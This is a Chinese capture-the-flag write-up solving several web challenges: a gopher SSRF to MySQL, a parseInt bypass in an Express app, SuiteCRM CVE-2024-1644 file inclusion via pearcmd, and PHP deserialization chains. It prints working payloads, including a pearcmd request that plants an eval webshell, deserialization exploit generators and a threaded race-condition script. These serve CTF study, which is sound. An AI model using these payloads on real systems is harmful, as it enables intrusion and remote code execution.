前言
nm,又爆零了,为什么我这么菜(绝望),早知道早上去ba only玩算了
参考:https://blog.csdn.net/uuzeray/article/details/138003846
官方wp:https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/nfeexx903ltettux
Web
EasySignin (复现)
gopher ssrf打mysql
进去一个登录框,给了个注册和登录功能
登录之后
更新当前用户密码这里抓包发现可以修改任意用户的密码
然后就能进任意文件读取的功能了
测试发现ban了file,flag,etc,dict
这做集贸啊,跳了
结果我唯一没测的就是gopher协议,可以回显mysql服务
也就是可以ssrf打mysql
然后直接gopherus一把梭
但是比赛结束后靶机3306端口貌似关掉了,没下文了
cool_index (复现)
逻辑漏洞
下载附件,审一下代码
先看依赖
{
"name": "index",
"version": "1.0.0",
"description": "",
"main": "server.js",
"license": "ISC",
"type": "module",
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.9",
"express": "^4.18.2",
"jsonwebtoken": "^9.0.2"
}
}
3.1.9,有ejs原型链污染
测试注册一个普通用户,稍微审一下代码即可知道,要成为订阅高级会员才能解锁flag
错误思路
本地起环境,下断点调试一下
那么目标就是要让decoded.subscription
的值为 premium
看一下register路由
app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}
return res.status(400).json({ message: "用户名或邀请码无效" });
});
可以知道只有当邀请码voucher === FLAG + JWT_SECRET
时才能使 subscription 的值为 premium
在register路由下个断点,开始调试
发现 jsonwebtoken 库里面用到了 lodash 库
一路跟到validate
方法进到 lodash
跟了半天没看出什么名堂,直接伪造jwt也不行,寄
正解
依旧是回来看一下它的判断条件
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}
return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});
我们的目标是底下的return res.json(articles[index]);
,所以只需要绕过上面的所有if判断即可
这里可以注意到有一个index = parseInt(index);
在是否订阅高级会员的判断后面
parseInt
函数将其第一个参数转换为一个字符串,对该字符串进行解析,然后返回一个整数或NaN
。
明显可以对字符串强制转换为数字
由此我们抓包,把index的值改为开头为7的字符串即可
SuiteCRM (复现)
SuiteCRM v8.5.0 + pearLFI
SuiteCRM version 8.5.0, Username/Password:suitecrm:suitecrm
hint1:使用81端口进行访问,80端口的转发有问题 https://fluidattacks.com/advisories/silva/
hint2:CVE-2024-1644,不需要代码审计!!!注意docker环境下的文件包含方式,该环境只修改了upload目录的上传权限
正常情况对着hint给的exp打就行
”更多“里面找到产品并创建
然后上传我们的图片马再 LFI 即可,包含方法是/public/index.php/<包含文件地址(包含.php字符串)>
但是这里hint也说了,改变了upload目录的上传权限,同时让我们注意docker环境下的文件包含方式,那么能想到的就是pearcmd
构造payload:
index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
接下来包含写进去的马即可
/index.php//tmp/shell.php
cmd=system('tac /f*');
比赛结束docker环境关了没pearcmd打
web1234 (复现)
hint1:本题的 flag 不在环境变量中
hint2:session_start()
,注意链子挖掘
源码泄露www.zip
index.php
<?php
error_reporting(0);
include "class.php";
$Config = unserialize(file_get_contents("/tmp/Config"));
foreach($_POST as $key=>$value){
if(!is_array($value)){
$param[$key] = addslashes($value);
}
}
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
$Admin = new Admin($Config);
if($_POST['m'] === 'edit'){
$avatar['fname'] = $_FILES['avatar']['name'];
$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
$nickname = $param['nickname'];
$sex = $param['sex'];
$mail = $param['mail'];
$telnum = $param['telnum'];
$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
}elseif($_POST['m'] === 'reset') {
$Admin->resetconf();
}
}else{
die("pls login! :)");
}
class.php
<?php
class Admin{
public $Config;
public function __construct($Config){
//安全获取基本信息,返回修改配置的表单
$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
$Config->sex = (is_string($Config->sex) ? $Config->sex : "");
$Config->mail = (is_string($Config->mail) ? $Config->mail : "");
$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
$this->Config = $Config;
echo ' <form method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" >
<input type="text" name="nickname" placeholder="nickname"/>
<input type="text" name="sex" placeholder="sex"/>
<input type="text" name="mail" placeholder="mail"/>
<input type="text" name="telnum" placeholder="telnum"/>
<input type="submit" name="m" value="edit"/>
</form>';
}
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;
$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;
file_put_contents("/tmp/Config", serialize($Config));
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}
public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
public function __wakeup(){
$this->Config = ":(";
}
public function __destruct(){
echo $this->Config->showconf();
}
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}
public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
}
class Log{
public $data;
public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","<?php\nerror_reporting(0);\n");
}
return ":O";
}
public function log(){
file_put_contents('record.php', $this->data, FILE_APPEND);
}
}
稍微审一下代码,可以知道登录的逻辑是把我们输入的参数和从/tmp/Config
里获得的值进行比较
而/tmp/Config
的默认值在 resetconf 方法里的那串base64,解码一下得到
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}
md5解密得到1q2w3e
然后传入?uname=admin&passwd=1q2w3e
就能登录了
接下来找漏洞利用点
法一:条件竞争(实际不可行)
buu的靶机好像不让高频率访问,所以这个方法实际上实现不了
Admin::editconf中
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
只要 record.php 里面有东西就会调用Log类,把 $Config 的内容写入进去
class Log{
public $data;
public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}
但是从我们拿到的附件可以知道这个文件是空的
那么只需要让record.php里面有东西即可,这个时候注意到 Log::__toString
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","<?php\nerror_reporting(0);\n");
}
return ":O";
}
这里如果被触发了就会往 record.php 写入<?php\nerror_reporting(0);\n
那么可以得到链子:Admin::__Destruct -> Config::showconf() -> Log::__toString
而这里唯一的反序列化函数在$Config = unserialize(file_get_contents("/tmp/Config"));
,也就是说我们需要尝试控制 /tmp/Config 的值
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;
$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;
file_put_contents("/tmp/Config", serialize($Config));
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
在这里我们发现editconf
方法中调用upload
方法写入文件和下面执行file_put_contents
之间还有执行其他语句
可以利用执行这两个语句的时间差传Config文件打条件竞争执行反序列化
payload:
<?php
class Admin
{
public $Config;
}
class Config
{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log
{
public $data;
}
$a = new Admin();
$a->Config = new Config();
$a->Config->show = new Log();
$a->Config->show->data = 'log_start()';
echo serialize($a);
注意这里需要绕过 Admin::__wakeup ,php版本7.4.11,反序列化结果会传入对象,可以用 fast_destruct 绕,序列化字符串最后删掉个}
即可
把序列化的结果放入本地准备的Config文件中,然后写脚本条件竞争:(这里写入php代码的地方选择nickname,因为没有其他限制)
import requests
import threading
url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'
def upload():
while True:
filename = "Config"
with open('config', "rb") as f:
files = {"avatar": (filename, f.read())}
data = {
"m": "edit",
"nickname": "<?php phpinfo();?>",
"sex": "1",
"mail": "1",
"telnum": "1",
}
response = requests.post(url=url1, files=files,data=data)
print(response.status_code)
url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'
def read():
while True:
res2 = requests.get(url2)
print(res2.status_code)
res3 = requests.get(url3)
if "php" in res3.text:
print('success')
# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]
# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]
# 启动上传线程
for t in upload_threads:
t.start()
# 启动读取线程
for t in read_threads:
t.start()
法二:session反序列化
Config类下的wakeup魔术方法
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
第一个明显想到是用来传入phpinfo看环境变量的,hint说flag不在环境变量里面,那么就是要我们找一找相关的配置项了
发现session的 session.serialize_handler 设置为 php 处理器
而hint提示我们session_start
,猜测要用到session反序列化,也就是等会要把phpinfo换成session_start打反序列化
开了 session_start 之后,就会找sess_XXX
里的内容进行反序列化,反序列化后会得到 $Session 对象,然后在程序执行完要退出之前,会重新把 $SESSION 写进 sess_XXX 文件,也就是序列化的过程,而这个过程可以触发 __sleep
那么我们就要准备对应的序列化字符串文件,这里同样的要走Log::__toString
解除写日志 record.php 的限制
链子:Config::__sleep -> Config::showconf() -> Log::__toString
<?php
class Admin
{
public $Config;
}
class Config
{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log
{
public $data = 'log_start()';
}
$a = new Config();
$a->avatar = new Log();
echo serialize($a);
要上传的sess_0w0文件内容(注意这里的文件名和等会的PHPSESSID要对的上):
aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
抓包上传,加PHPSESSID
然后就可以在文件名处或者nickname那里写马了,记得先把cookie去了避免重复写入<?php error_reporting(0);